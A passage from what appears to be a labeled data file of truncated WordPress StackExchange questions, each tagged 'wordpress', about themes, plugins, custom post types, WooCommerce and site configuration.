alter a feed for my plugin's custom post type to add lines for podcasting. Here is the code I've got right now: add_action ('init', 'my_plugin_init'); function my_plugin_init() { ... ",['wordpress'] "Title: Settings API - Checkboxes validation in a menu with multiple subpages Body: I'm building a theme using the settings API. I have a top level menu with multiple subpages and everything is working fine, except checkboxes. I am saving the options to a single options array. This ... ",['wordpress'] "Title: A simple form submission but notice : Trying to get property of non-object Body: after 3 hours... I give up and I request the wordpress developers community. I have to create a contest on a site based on Wordpress. There are 3 steps : user enters his information if all the ... ",['wordpress'] "Title: Post in multiple categories do not include in previous / next post if one category in excluded Body: I have read the following post which appears to solve my problem but doesn't... excluded_categories parameter in next_post_link() behaving unexpectedly I have posts in say 3 categories but if they ... ",['wordpress'] "Title: Is each issue of a magazine site a static page Body: I want to create a monthly magazine style website. I can see the url for a month is something like this: www.magazine.com/mywebpage/2013/08 Suppose I want to create a custom page for each month, ... ",['wordpress'] "Title: How do I add a link to the menu that has a charector (?) in it? Body: I'm trying to add a link to a drop-down menu but it gets lopped off every time. THe full address is https://www.ub-tonlinebank.com/onlineserv/HB/Login.cgi?runmode=REGISTRATION but is stops at ? and ... ",['wordpress'] "Title: Creating Featured Content Boxes Body: I know there are plenty of plugins to do sliders out there but I'm looking for something slightly different and I've come up with no luck for a solution. Basically, what I am trying to accomplish is ... ",['wordpress'] "Title: Removing http 404 status in Wordpress [duplicate] Body: Is this possible? I don't want to show Google that my users are getting a 404 page... When I did not use Wordpress, this did work very good for me as in SEO. Now, I am having trouble because of ... ",['wordpress'] "Title: Display Custom Field for a Specific Role, but not for Admin Body: How do I display a custom field for a specific role, but not display it on the profile page of the admin? When admin goes to edit a profile user that this role, the field will visible. I created two ... ",['wordpress'] "Title: wp_list_categories() to link to list of posts from one custom post type and one term Body: Sorry for this title. I've created 2 custom post types called 'audio' and 'video'. I share them a taxonomy called 'category' with 4 terms 'cat1', 'cat2',... In my 'audio' template page, I'd like to ... ",['wordpress'] "Title: Moving Posts and Users Only to New Site Body: For several weeks my client has been working with me to finalize a major content and design change on his site. At the beginning of the process, I created a clone of his production site and that was ... ",['wordpress'] "Title: How do i calculate the total of values of custom fields in custom post types? Body: So the title is a bit unclear, but here is what i have: Custom post type: Projects Custom post type: Investments        + Custom field: Amount And i have one page ... ",['wordpress'] "Title: Getting WordPress to store 0 values for custom post type meta Body: I've created a very complex custom post type system for a football website and am using custom meta boxes to store various match stats. To decide whether or not I should display a stat I check ... ",['wordpress'] "Title: How To Disable Add new users On Subsites In Multisite? Body: How To Disable ""Add new user"" On Subsites In WordPress Multisite ? ",['wordpress'] "Title: wordpress Multisite user updating capacities Body: I`m building a multisite that allow users to register. My problem is that I dont want the site creator to login to my admin pannel. I only want to anable few features like add page, usernamagement so ... ",['wordpress'] "Title: Why isn't my multiple orderby working? Body: I have a custom category page with the following query: $args = array( 'cat' => $portfolioCategories, 'posts_per_page' => $itemsPerPage, 'orderby' => ... ",['wordpress'] "Title: How do I use two different images, one as a thumbnail and one as a linked image? (1 post) Body: I want to do an image gallery in a page, where the linked image (a href) is different from the thumbnail's src. I need to have the ability to change the thumbnail image. Its important because for each ... ",['wordpress'] "Title: How can I add a class to a single menu item? Body: I'm trying to modify a non-WP theme to be compatible with my newest WP project, and one of the issues is a drop-down menu item. Since it's a totally custom theme, I want to replicate the behavior of ... ",['wordpress'] "Title: WP in subdirectory : redirect loop error due to redirect_canonical Body: I have a fresh Wordpress install in a subdirectory: /blog/ I visit my Wordpress site like this: http://www.example.com/blog and posts like this: http://www.example.com/blog/category/postname In ... ",['wordpress'] "Title: How do you add a settings page to another menu? Body: I created a settings page that's being displayed in the options menu like this: add_options_page( 'ATB Event Options', 'ATB Event Options', 'manage_options', 'atb-event-options', ... ",['wordpress'] "Title: Getting the Product object in a custom loop Body: I am currently building a Theme for a site that is using WooCommerce to provide a shop to Customers. I have just started on it, and I am currently working on the Product Category pages. I have hit a ... ",['wordpress'] "Title: How to output the content of a Custom Post Type from a drop down form? Body: I have a Custom Post Type called office and I output a list of names of these Offices using a dropdown menu from a thread here on WPSE: Dropdown list of a custom post type. What I would like to do ... ",['wordpress'] "Title: Adding thumbnails for non-image attachments Body: I'm working on a site that provides Photoshop resources. I would like to create a page offering brushes for download that displays a thumbnail image and a link to a .zip file for each brush set. I was ... ",['wordpress'] "Title: Unsetting/Removing custom meta data on a page Body: I've made a custom meta box where you can upload an image attached to the post. I've done this since the image isn't placed in the normal content area but separate. /*** Custom post upload ***/ ... ",['wordpress'] "Title: Wordpress use of @ in core files Body: I am studying twenty_eleven theme and have some quesions. What is * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ What is the use of @ mean. And again. * ... ",['wordpress'] "Title: Show content if page is a grandchild of top level page Body: I'm looking to show a certain block of content if the current page is a grandchild of a top level page. This is my current page heirarchy; - Top Level Page - Child Page - Grandchild Page ... ",['wordpress'] "Title: How to stop Navigation Body: When we click on next, prev buttons of image browser it is working fine. suppose if we have 10 images when we are one tenth image.when we click next it is showing again first image. That shouls not ... ",['wordpress'] "Title: How can I redirect on a url after successful registration? Body: I am a newbie to Wordpress. I am currently working on registration and login. I have a page restrict url let http://xyz.com/abc. Login/registration is required for this url. I need that when a user ... ",['wordpress'] "Title: Add To Cart to Modal Gravity form Body: I would like to create a modal 'pop-up' window in WooCommerce to appear when the ""Add to cart"" button has been clicked. In this modal 'pop-up' I would like to be able to paste a GravityForms ... ",['wordpress'] "Title: JQUERY on my custom WP page wont work [duplicate] Body: Code below, works properly here http://jsfiddle.net/sushanth009/rE2dW/ but when i put this on my custom wordpress page, Jquery doesnt seem to work. what below page does, is when i select a value in ... ",['wordpress'] "Title: Theme Check gives: Required: This theme doesn't seem to display tags? Body: I am testing my theme with Theme Check plugin and it shows this message: Required: This theme doesn't seem to display tags? Picture: How can i fix this? ",['wordpress'] "Title: Add custom options when a WordPress/BuddyPress Account is deleted Body: I am running a beta BuddyPress (WordPress) site (http://yn.yazzietech.com for those of you wondering, this is a fully public network and new sign-ups are welcome) that I would like to be able to ... ",['wordpress'] "Title: Allow all characters in a PHP “explode” function Body: I have a piece of PHP code that gets a list of allowed extensions from the Wordpress Database and only allows files uploaded that are those file extensions. What I would like to do is make the code ... ",['wordpress'] "Title: list first post of Child Category on Category page Body: This may be a bit overcomplicated but this is exactly what my client is asking for and if there is anyway to accomplish this task it would be much appreciated. I've found lots of examples of just ... ",['wordpress'] "Title: Add default WordPress tag meta box to User Profile Body: I've set up my user profiles to allow custom taxonomies following this tutorial. Ideally, I'd like to use the default Tag meta box from the Post screen, so users can easily add new taxonomies and ... ",['wordpress'] "Title: GD Star Rating Doubt Code Body: having some problems with a few plugins and was wondering that maybe someone here can help, so, here I go: How to exclude the GD Star Rating from certain template, what php code to use Any idea of ... ",['wordpress'] "Title: Category SEO Meta Tags Problem Body: With the plugin All in One SEO Pack I have problems with the category SEO meta tags. I can't make the title work. I place the title on a category and then when I go and check that category is not ... ",['wordpress'] "Title: Get author id from url Body: I am trying to get the authors user_id on a page linked to by using get_author_posts_url(),. For example http://example.com/author/John%20Smith where John Smith is user_id is 23. I need to get ... ",['wordpress'] "Title: in jquery read a multidimensional array via wp_localize_script() Body: From PHP I am pushing a basic array to jQuery via wp_localize_script() and then using the array data in my script file. Now I have extended the array into a multidimensional array and can not figure ... ",['wordpress'] "Title: Removing featured image from gallery? Body: I'm having trouble removing the featured image from gallery. I removed all kinds of stuff from those 2 files, but seems like I need to add something, not take away. Here are the pastebin's of 2 ... ",['wordpress'] "Title: Custom taxonomy display name issue Body: i have created custom taxonomy named Locations , everything is working fine, but whenever i add a taxonomy, everywhere is showing the taxonomy name as Category not as Location, Like Add New category ... ",['wordpress'] "Title: PNG file uploads don't stay in Media Libtary Body: When uploading these I get the percentage count then the ""crunching"" alert but the crunching never stops to indicate that the file is done. I'll go into the media library and it will be there, ... ",['wordpress'] "Title: I want to create a drag and drop image collection in wordpress custom post Body: In my wordpress add new property (custom post type) page I want a small area where i can add multiple images with standard uploader and then drag and drop to reorder them and then show them on front ... ",['wordpress'] "Title: Creating a root site in a multisite installation Body: I have setup a multisite installation in the root of my domain eg www.mydomain.com. I have then setup a few sites within this installation eg www.site1.mydomain.com etc etc. I would like to run my ... ",['wordpress'] "Title: woocommerce atributes Body: I am struggling with the attributes within woo commerce plugin. My situation is that I need to have attributes set up for shoe's as - example shoe one; choose a size= men: 1, 2, 3, 4, 5, womens: 1, ... ",['wordpress'] "Title: loading a javascript on a WP PAGE Body: so im trying to do this http://jsfiddle.net/2XV7w/5/ on my custom_page on wordpress. this is a conditional html form. It will display a specific <div> when i choose a specific drop-down value. ... ",['wordpress'] "Title: How to show single woocommerce product from every category? Body: I have multiple categories and I just want to show only single woo commerce product from each product-category. Please let me know how can I do that? ",['wordpress'] "Title: how to use shortinit in wordpress Body: I want to load a minimal resources in Wordpress because the server that I'm working on is very slow. I tried defining short init in the wp-config file: define('SHORTINIT', true); But then I got ... ",['wordpress'] "Title: creating a static HTML/JS/PHP page Body: i need to create a static page that allows me to code HTML/JS/PHP that connects to a separate MYSQL backend. how can i achieve such in wordpress page? ",['wordpress'] "Title: Autoupdate shows current when I'm on 3.1 Body: My host has Fantastico set to install version 3.1. But when I go to Dashboard/Updates, it says ""You have the latest version of WordPress."" I clicked ""Check again"" and it says: Last checked on August ... ",['wordpress'] "Title: How do you display posts in a dynamic table? Body: I'm currently using a plug-in called SortTable Post. It automatically takes your posts and puts them into a table that you like. It's a great idea, but the issue is that the plug-in hasn't been ... ",['wordpress'] "Title: Search on page by date and custom taxonomy Body: I have created a custom search on a page template and have date, destination (custom taxonmy) and also Origin (custom taxonomy) this are custom post type. Here is a screenshot ... ",['wordpress'] "Title: How to save post change url youtube link? Body: In functions.php i using this to change width url from youtube: add_action('save_post', 'set_url_youtube'); function set_url_youtube() { $post = get_post($post_id); $content = ... ",['wordpress'] "Title: How to center oEmbedded content Body: I understand you have to paste the link that you're embedding without any code wrapping around it, but how do I force the embedded content to be centered? Currently, the default is aligning to the ... ",['wordpress'] "Title: How to loop two arrays from custom post types Body: Not sure if I'm going about this the right way but I've been stuck on this for a couple of days and it's killing me. Got a custom post type called 'featured-work' and custom fields in it. These two ... ",['wordpress'] "Title: Change Wordpress comments url / word Body: Is this possible? For example, I want to change http://mysitesitesite.com/post-name/comment-page-1/#comment-452 to http://mysitesitesite.com/post-name/custonname-1/#customname-452 What should I ... ",['wordpress'] "Title: wp_enqueue doesn't load dependencies Body: I'm trying to load style.css but rest.css should be included first. I don't understand why reset.css is not included function addMyScript() { wp_register_style('style', ... ",['wordpress'] "Title: insert records to MSsql database from wordpress Body: Im currently using wordpress and mysql. But at a click of a button i would like to send say for example a date and time stamp to MsSQL table as well as mysql table is this possible. and what should i ... ",['wordpress'] "Title: Add social media icon in header area Body: I have installed the Swift Theme. I want to know how to put a social media button on the right of the logo. I have not much knowledge of theme editing. ",['wordpress'] "Title: Wp-admin error with cookie sharing while using SSL Body: I am using Wordpress 3.6 My setup is 3 separate wordpress installations on the same server: www.example.com, secured.example.com, my.example.com All 3 domains use WP-Orphanage Extended plugin so ... ",['wordpress'] "Title: How can I show custom field according to taxonomy? Body: How I can show custom fields in my theme according to category? For example in Laptop category show some custom fields and in Motherboard category show another fields. ",['wordpress'] "Title: Custom post class, generate unique id from 1 to x depending on amount of posts? Body: I am building a custom post type, where I have a little trouble generating the ID:s the way I want to. The idea of the post class is to generate a table with ID and post title. I wonder if it is ... ",['wordpress'] "Title: display certain category on custom template page Body: i duplicated a portfolio column page template ... On this page I want to show only one category , instead of all categories... I tried a lot, but couldn't get it worked... this is the original code ... ",['wordpress'] "Title: How to get posts and comments amount per hour, per year and per month? Body: I have this snippet: function count_user_comments_today( $uid ){ global $wpdb; $today = date('Y-m-d'); $tomorrow = date('Y-m-d', time() + 86400); $count = $wpdb->get_var( ... ",['wordpress'] "Title: Set terms programmatically Body: I would like to use wp_set_post_terms() or wp_set_object_terms(). I think I read all the codex and all forum post about these functions and I still can't make them work. I've a taxonomy named store ... ",['wordpress'] "Title: Fancybox type popup window that's not an iframe Body: I'm a bit stuck and need some help to get me going in the right direction. I'm trying to do something similar to the lightbox style popup on this website: http://cargocollective.com/montessori I ... ",['wordpress'] "Title: Do Cookies Need to be Sanatized Before Being Saved? Body: I recently wrote a plugin and now I'm backtracking a bit to sanitize any and all user input. I know that I should sanitize anything that comes from $_GET or $_POST as a user can insert malicious ... ",['wordpress'] "Title: Release Model for Wordpress? Body: Is there a reference for the wordpress release and version model? In particular When a new release like 3.6 comes out, will 3.5 have security fixes for a period of time? Are some release more likely ... ",['wordpress'] "Title: Problems with a custom meta_box Body: I got some information on here which I am using for an Events site I am developing. How to add option box in ""Edit Post"" plugin API? However, I have changed the checkboxes for text inputs ... ",['wordpress'] "Title: WPEngine does not support WordPress Social Login and PHP sessions: any alternatives or workarounds? Body: I wanted to use WordPress Social Login http://wordpress.org/plugins/wordpress-social-login/ in one of my setups. I did some test and found that is really efficient and well designed among all other ... ",['wordpress'] "Title: Sorting Meta Fields? Body: I hope this question is not too abstract to be asked here, if it is, I apologize in advance. In my theme I have a custom theme options page that I've set up to control my front page slider. Basically ... ",['wordpress'] "Title: Changing database links has no effect Body: So I just moved my website from localhost (127.0.0.1/wordpress) to a server. I followed many tutorials and I managed to get the site going. The home page loads, the content is there, however, subpages ... ",['wordpress'] "Title: How to disable a wp filter in a certain admin panel page Body: One of my filters is breaking a plugin that enables featured images for categories. Here's its code: function html5_insert_image($html, $id, $caption, $title, $align, $url, $size, $alt) { if ... ",['wordpress'] "Title: if admin is logged in Body: I use this function to detect if administrator is logged in wordpress <?php define('WP_USE_THEMES', false); require('./wp-blog-header.php'); global $current_user; get_currentuserinfo(); ... ",['wordpress'] "Title: site is loading fully zoomed in on mobile devices Body: my website is 980px wide. actually it is built on wordpress. My wordpress theme was initially responsive. Somehow i disabled its responsiveness. after that the website loads fine on desktop but it is ... ",['wordpress'] "Title: Permissions question [closed] Body: Is there a plug in that allows User A to only see and edit their own post and User B to see all posts from all users like User A. We have tried a few plug ins without success. Thoughts? ",['wordpress'] "Title: Wordpress 3.6, searchform.php problems Body: I have just updated to wordpress 3.6 and my theme seems to be ignoring my searchform.php file. Has this happened to anyone else? ",['wordpress'] "Title: Passing arguments in add_action inside search template Body: I'm trying to pass a argument to the function. But it is not transmitted. var_dump produces string'' (length = 0) What am I doing wrong? $map_vars = 'Test'; function map_data($data) { ... ",['wordpress'] "Title: Media Library not showing images when adding to Posts (but retrieving image info via ajax) Body: When uploading an image to a post/page, the media library doesn't display any images (when there are some), and then 'fails' when you try and upload (although the image is actually uploaded). I've ... ",['wordpress'] "Title: Select good template with rewriting rules Body: After creating the sub page ""China"" of the parent page ""Destinations"", I add to it the ""Destinations countries"" template. Without any redirection, I can display the correct template at this url : ... ",['wordpress'] "Title: jQuery Ajax / Modal admin event not firing since 3.6. Seems to not recognize “a” tag Body: This came up immediately after upgrading to wordpress 3.6. Upon clicking the modal ""anchor"" tag, an ajax event fires to refresh the content in the box. It was working before, then ceased ... ",['wordpress'] "Title: WP Super Cache All Pages Body: I didnt find it but is it possible to run at night all pages so the next morning the whole website is cached? Or are there other plugins who does this job? I hope someone can help me! Thanks! ",['wordpress'] "Title: jQuery inside Colorbox Body: I am trying to use jQuery inside colorbox to add attribute to the input with a specific classname.I use it in an if condition. **HTML CODE** <script> ... ",['wordpress'] "Title: Using jQuery Effects in Theme Template Files Body: Im currently working on a child theme, creating a single-*.php file for one of my custom content types. The end result is that it will be using some jquery for links generated on each single page of ... ",['wordpress'] "Title: Magento and Wordpress URL integration Body: so I'm in a bit of a conundrum. I've integrated wordpress into my Magento site, currently by a subdirectory. Check it out: http://vapetropolis.ca. If you go to the ""reviews"" section, you'll note ... ",['wordpress'] "Title: Cannot echo a JS variable to a jQuery plugin coming from wp_localize_script Body: Short version: I'm able to get a PHP variable into a JS file using wp_localize_script. On JS file i'm able to echo the variable using console.log, but I cannot get it echo into the jQuery plugin's ... ",['wordpress'] "Title: Use post__in and post__not_in together? Body: I'm trying to only show posts that a user hasn't seen, like this: $exclude = array(1,2,3); $include = array(3,4,5); $args = array( 'post_type' => 'post', 'post_status' => ... ",['wordpress'] "Title: Group category list by other categories excluding some posts Body: I want to list posts on a category page in a special way. All my posts belong to two categories out of five. The categories are of two ""types"", the 'w' and the 'k', and a post cannot belong to more ... ",['wordpress'] "Title: Get first comment link on the post itself Body: I have this function and a link to a post: <?php foreach ($results as $id) { $post = &get_post( $id->ID ); setup_postdata($post); <li><a <?php href=""<?php ... ",['wordpress'] "Title: Custom Dashboard Home Screen Options Body: I want to make the entire Homepage on the Dashboard empty and add in my own custom screen options. How do I go about doing this? Do I create one from scratch or edit what's already there? Is there ... ",['wordpress'] "Title: Custom category options and restictions Body: Question; how do I take away the ability to ""Add New Category"", from a custom post type, but keep it for other post types? ",['wordpress'] "Title: Dynamically generate a sub-page for each ACF repeater field created Body: I've created a custom post type in my functions file and am using an ACF repeater field to generate custom fields, one of which is an repeater field for events. I'm trying to get Wordpress to ... ",['wordpress'] "Title: Lock Display Name To Nickname Body: Using the following code to change the author url links to their nickname. The issue is it seem to be conflicting and trying to use the display name instead. Can i lock the display name to the ... ",['wordpress'] "Title: woocommerce product in multiple categories navigation Body: I wonder if someone has an answer to this or could point me in the right direction I have a woocommerce product which resides in multiple categories like so /**the product categories ... ",['wordpress'] "Title: Javascript/jquery loads super slow (around 6 seconds) which affects only homepage Body: I got a custom wordpress theme from a developer but he isn't responding to me anymore. Basically my homepage takes ages to load which causes all the elements on the homepage not function until the ... ",['wordpress'] "Title: Embed YouTube video from custom field value Body: I'm collecting Youtube video links in custom fields, but when I echo out the value it just prints the URL. How do I get WordPress to convert it to be embedded? Example: <?php global $post; ... ",['wordpress'] "Title: Archive Page for Custom Post is not Working in WordPress Body: I have registered a custom post type ""tutorials"" with the following snippet. <?php /* Template Name: Tutorial Archive */ get_header(); ?> <div id=""content""> <div ... ",['wordpress'] "Title: Check Woocommerce Variation Before Adding to Cart Body: I am running a T-Shirt store that offers two attributes which users select ""Size"" and ""Color"" now what I want is to check the size and color combination which users chooses before adding to cart and ... ",['wordpress'] "Title: Execute a function when the entire page is displayed Body: How can I execute a function, which is in a plugin, only once the entire page is displayed ? ",['wordpress'] "Title: How to sort custom post type by multiple custom fields? Body: How to display posts with 'agenda' custom type ordered by custom fields 'agenda_date' and then by 'agenda_time'? 'agenda_date' is date custom fields. agenda_time is text custom fields I tried this, ... ",['wordpress'] "Title: url for posts for a date within a category Body: I am trying to create something like a newsletter. I'd like to show a set of categories with hyperlinks. however, I want to restrict that to the specific date. Clicking on the hyperlink will show ... ",['wordpress'] "Title: Woocommmerce show SKU in cart page Body: How to show the SKU next to the product name in the cart page of Woocommerce ? tried to copy it from the Meta.php of single product but it breaks the page... ",['wordpress'] "Title: I found this in a plugin. What does it do? is it dangerous? Body: I found this in a plugin. What does it do? is it dangerous? add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { ... ",['wordpress'] "Title: Flipping Book PHP Code? Any experience? Body: Hi there guys quick question, using FlippingBook and calling a gallery within a page or post is with something like this: [book id='1' /] but I want to call the gallery directly from my code, so is ... ",['wordpress'] "Title: Show post last modified date twentyeleven theme Body: Here is the code snippet i'm using to display last modified date in my twentyeleven child theme since i frequently update my posts but the problem is search engine is not displaying my post last ... ",['wordpress'] "Title: Cache posts/pages per country Body: I'm developing a country restrict plugin that filters the posts/pages a visitor can access/see based on where the visitor is (the visitors country code). This all works perfectly well when I do not ... ",['wordpress'] "Title: Meta query with boolean true/false value Body: I'm trying to show all rental properties, first by all properties that have not been rented, and then by all properties that are currently rented. There is a custom post type 'rent' with custom post ... ",['wordpress'] "Title: How to make all posts in a category sticky? Body: Total WP and web development noob here. As the title suggests, I'm trying to make all the posts in one of my categories into ""stickied"" posts. But so far I've had no luck. What I've tried is this ... ",['wordpress'] "Title: Bulk Delete Users Error uri too large Body: I am trying to delete thousands of users at once. After seeing that I can only display up to 999 user records at once using the ""Screen Options"" menu I thought that might be ok. But upon clicking ... ",['wordpress'] "Title: What is the difference between RELATION “AND” and “OR” in TAX_QUERY? Body: Because if I use: 'relation' => 'AND' or 'relation' => 'OR' the results are always the same. Why? ",['wordpress'] "Title: get_comment_author_link not working properly Body: I have this snippet: <span><a href=""<?php bloginfo('url'); ?>/writer/<?php echo get_comment_author_link(); ?>""><?php echo get_comment_author_link(); ... ",['wordpress'] "Title: Installing plugin for inner page Body: I am working on converting an HTML template to a Wordpress theme that has a menu with a 'Gallery' option that is supposed to open up an image gallery. I wish to install a plugin for image gallery for ... ",['wordpress'] "Title: How to add stylesheets only to pages with specific shortcode? Body: I'm running a function on pages where the shortcode [make-me-a-map] is used. It enqueues javascript to the page and makes a map. That part works fine (woot!) but I'm having trouble with adding the ... ",['wordpress'] "Title: How to improve this template (separation of logic from display) Body: I am creating a plugin and within the plugin I need to create templates for the display of the content generated by the plugin. I've got the code below and it works fine however I have a feeling that ... ",['wordpress'] "Title: create drop down menu in theme customizer from custom db Body: what i am trying to do is create drop down menu in theme customizer from custom db i have created. db name ""students"". in the db i have only the id and the name. i want to show all students names in ... ",['wordpress'] "Title: Wordpress class, using add_action to call member function does not work Body: I'm learning to create a WP plugin as a class. However, it seems the add_action doesn't work when calling my function; it works when using $this->init(). Example: class test { public $age = ... ",['wordpress'] "Title: Where will I exactly put this “Same Email For Multi Users” Code? [duplicate] Body: I have this code, but I don't know where to exactly put it. I am creating a site which allows users to signup with same email but different users. Here is the reference: How to use same email for ... ",['wordpress'] "Title: Deleted .Com Website & Established new .Org Website Should have Forwarded Old to New but did not Body: We have gone to a .org Wordpress site which is now up and running. It's my husband's site and he wanted the old one deleted and I did that - but - I should have ""forwarded the old .com to the new ... ",['wordpress'] "Title: exclude parents from the_terms Body: I'm using this function to get the categories linked to the post: the_terms($post->ID, 'portfolio-type', '<p><b>'.__('Categories:','om_theme').'</b> ', ', ', '</p>'); the ... ",['wordpress'] "Title: Add class to before_widget for all widgets with a dropdown and a counter Body: Some predefined widgets offer the option to use a select element (dropdown) and/or a counter after each entry. How can I add the CSS classes widget-with-dropdown or widget-with-counters to these ... ",['wordpress'] "Title: Extending auth_cookie_expiration based on user role Body: I'm trying to extend the lifespan of the authentication cookie, but only for administrators. My code in functions.php is: add_filter( 'auth_cookie_expiration', 'change_admin_cookie_logout' ); ... ",['wordpress'] "Title: Searchform for searching specific categories Body: <form id=""searchform"" method=""get"" action=""<?php echo home_url(); ?>""> <input type=""text"" name=""s"" id=""s"" size=""15"" /> <?php wp_dropdown_categories( 'show_option_none=Select' ); ... ",['wordpress'] "Title: How to intercept already localized scripts Body: If a plugin uses some script (prominent example: jQuery UI Datepicker), but you're not happy with how the script renders the output, then there're two possibilities: 1. Unregister the script > Add ... ",['wordpress'] "Title: sidebar - widgets versus code - options Body: I decided to use Widgets in my sidebar on the advice of another designer who thought the site would take too long to load if I used the images I'm using for titles and branding. I'm dissatisfied with ... ",['wordpress'] "Title: Why does Wordpress search returns same number of results for every search query? Body: I am hitting a brick wall, I am searching something on a site I am building and on every search it returns 10 results when I know in the index in relevanssi it shows more for the term I am searching ... ",['wordpress'] "Title: Why is Wordpress loading a different sized post thumbnail? Body: I have a custom theme where I'm using post thumbnails as BG images for a slider. The thumbnails and some other info are entered using a custom post type. However, even though I'm uploading 1440x833 ... ",['wordpress'] "Title: WP Feed namespace attr issue Body: Having a strange issue (well, strange to me) where an xmlns:media namespace attr is being added to one feed but not the other. How do I get rid of the ""xmlns:media"" attr? I don't even know why it's ... ",['wordpress'] "Title: Does Akismet plugin expose any hooks, functions, class that can work with custom code? Body: I have custom code that handles comment insertions using wp_insert_comment. Does Akismet plugin expose any hooks, functions, class that can work with the same and possibly elsewhere where custom forms ... ",['wordpress'] "Title: Set parent theme language with custom .mo files Body: I am using Buttercream as my parent theme. I have translated the .mo file located in themes\buttercream\languages and saved it as nl_NL.mo and nl_NL.po. Now I want to display the parent theme in Dutch ... ",['wordpress'] "Title: improve my array to display the_title, category, excerpt for homepage Body: Im trying to create an array for my bespoke homepage template which gets the title, category, featured thumbnail and excerpt from the last 3 blog posts and puts them into the correct divs for styling. ... ",['wordpress'] "Title: wp_nav_menu with WP as pure CMS Body: I'm trying to use WP as a pure backend CMS for my site. I've got a few pages setup in WP e.g. About, Main Page, Sample Page and I can display the content on my own php pages by using ... ",['wordpress'] "Title: What possible reasons can cause my plugin not to be listed in the plugin search in the back-end of wordpress installs? Body: our plugin is listed on wordpress.org but it can't be found if you go in the backend of a WP install and search for it under Plugins -> Add New. Our plugin was delisted some time ago from ... ",['wordpress'] "Title: some wordpress themes dont work correctly Body: some wordpress themes dont work correctly Hi i installed wordpress locally using XAMPP. my problem is that some specific themes wont show correctly. these themes was working perfectly about a month ... ",['wordpress'] "Title: How Can I rewrite *.neo to /$1/ with NGINX Body: This is my htaccess I have my old URL like http://www.xxx.com/article-name.neo, and I want to redirect it to http://www.xxx.com/article-name/ Any help? RewriteEngine On RewriteRule ([^/]+)\.neo$ ... ",['wordpress'] "Title: Use Wordpress Built In Jquery Body: I see that on every page Wordpress is loading in jquery, how do I go about using that jquery as it keeps telling me that it doesn't recognize $ or $noConflict(); - I'm trying to add some jquery under ... ",['wordpress'] "Title: Search box background on a different page template Body: I'm trying to make the search box background the same as the homepage, but for some reason there is a orange background - it doesn't use a different header.php its called within a filter the code ... ",['wordpress'] "Title: Controlled publishing in Wordpress Body: We are currently rebuilding our corporate website and I'm looking for a way to control the publishing of pages. The flow to create or amend pages would be something like this: 1) New page is built or ... ",['wordpress'] "Title: Pass a comma separated shortcode attribute to a function Body: I've been trying to create a shortcode for the Category Ajax Chain Selects plugin so that I can display the chain selects within a chosen post/page easily, but for now I've only been able to hardcode ... ",['wordpress'] "Title: get_comment_link() points to wrong comment page Body: I've set my discussions settings to show 10 comments per page, and to show the first page by default. I'm using get_comment_link() which points me to the right place, however, i have one thread with ... ",['wordpress'] "Title: How to check from External Script whether Current Browser is LOGGED IN OR NOT? [duplicate] Body: Lets say i have logged-in into my public site, at: https://www.mywebsite.com/wp-admin Then from my PHP Script from my Localhost running in SAME BROWSER: http://localhost/check-login.php Then ... ",['wordpress'] "Title: Top 5 Best Sellers by category Body: I want to make a top 5 bestselling products based on a category. Momentarily I use the following code (see attachment). This code gets 5 products inside the category, so far so good. But the sorting ... ",['wordpress'] "Title: Sidebar Categories change arrow when subcategories are shown on click Body: I have an arrow on the maincategory if a particular category has subcategory, iam using jquery animation to slideup, slidedown subcategory. i want to remove previous arrow and replace it with ... ",['wordpress'] "Title: How to include css for plugin setting page? [duplicate] Body: I have created a plugin settings page in the WordPress dashboard menu. I want to include css file for that settings page. How can I do that? I am trying following in my plugin, but it does not include ... ",['wordpress'] "Title: Custom post type permalink not working Body: I had some pages on my site with urls along the lines of site.com/community/abc/ site.com/community/def/ site.com/community/ghi/ I wanted to redo the pages as a custom post type, so I created the ... ",['wordpress'] "Title: How to upload images as custom field with meta box? Body: With this sample of code I want to demonstrate that, my meta boxes are working well, entering data into database (postmeta) with the post, except the image files. They are passing the filenames only ... ",['wordpress'] "Title: check if a draft has been moved there from publish to draft Body: I am writing a plugin, part of the functionality does functions on hook: publish_to_draft I then later want to re-publish that post and trigger specific functionality to see if it has previously been ... ",['wordpress'] "Title: Create custom fields on a post Body: I want to have a very specific post ""type"". I would like to get rid of the title and content box, and add a ""Name"" field and an ""Age"" custom field. This way when I go to create a new post, it's like ... ",['wordpress'] "Title: Change query variable for wordpress search Body: When we do a search in wordpress the url appears like this: http://example.com?s=hello But I am using s= query variable for another purpose. so I wish to change default wordpress s= to search=. ... ",['wordpress'] "Title: Full size image option removing problem Body: I have removed the Full size image option from the media upload window see Code: function theme_t_wp_set_image_size_options( $sizes ){ $sizes = array( 'thumbnail' => 'Thumbnail', ... ",['wordpress'] "Title: How to disable all of plugins on one page (.php file)? Body: My question is quite simple. I need to disable all of my plugins in one separate php file. But I really want to do this by adding some php code - I don't want to install any extra plugins. ",['wordpress'] "Title: How to create multiple sidebar areas with a forloop and register_sidebars? Body: Im trying to create like, 8 sidebar areas using an array of page templates (like date, archive, tag ect) and then looping through the array, creating a sidebar for each value. I thought this should ... ",['wordpress'] "Title: Unautop / Sanitize content added to a post through a plugin Body: I am using the SimpleReach plugin that adds some content to every post using the content hook. The content that is being added is <!-- SimpleReach Slide Plugin Version: {{srslide_plugin_version}} ... ",['wordpress'] "Title: Wordpress Child Category Display All Posts Body: I am creating a Wordpress page where all my posts in the child categories of team are displayed in a grid. I got this working with the below code. The formatting and general layout is great however it ... ",['wordpress'] "Title: $attachment->post_title not displaying title Body: I have this little piece of php. $attr = array( 'class' => 'bigImg', 'alt' => trim(strip_tags( $attachment->post_excerpt )), 'title' => ... ",['wordpress'] "Title: Getting comment count per post not working Body: I have this function: <?php $popular = new WP_Query('orderby=comment_count&posts_per_page=5'); ?> <?php while ($popular->have_posts()) : $popular->the_post(); ?> ... ",['wordpress'] "Title: Wordpress Post Grid Body: I am trying to make a custom grid for my Wordpress posts. I have been searching the web however all the tutorials I have found utilize a column method where it just alternates between the columns. For ... ",['wordpress'] "Title: How does the filter post_updated_messages work? Body: I'm following a tutorial about custom post types and I am unable to understand how some functions work. Allow me to explain a little more. function my_updated_messages( $messages ) { global $post, ... ",['wordpress'] "Title: Is this website made using WordPress? [duplicate] Body: I have this web site URL: http://www.erusma.org that is a multilanguage website, infact opening this URL I obtain the following address: http://www.erusma.org/en/default.html Looking at the source ... ",['wordpress'] "Title: Call to a member function get_row() on a non-object, Unable to use global $wbdp inside a plugin Body: I am building a custom plugin for my WordPress site. I made a php file called ""checkrank"" 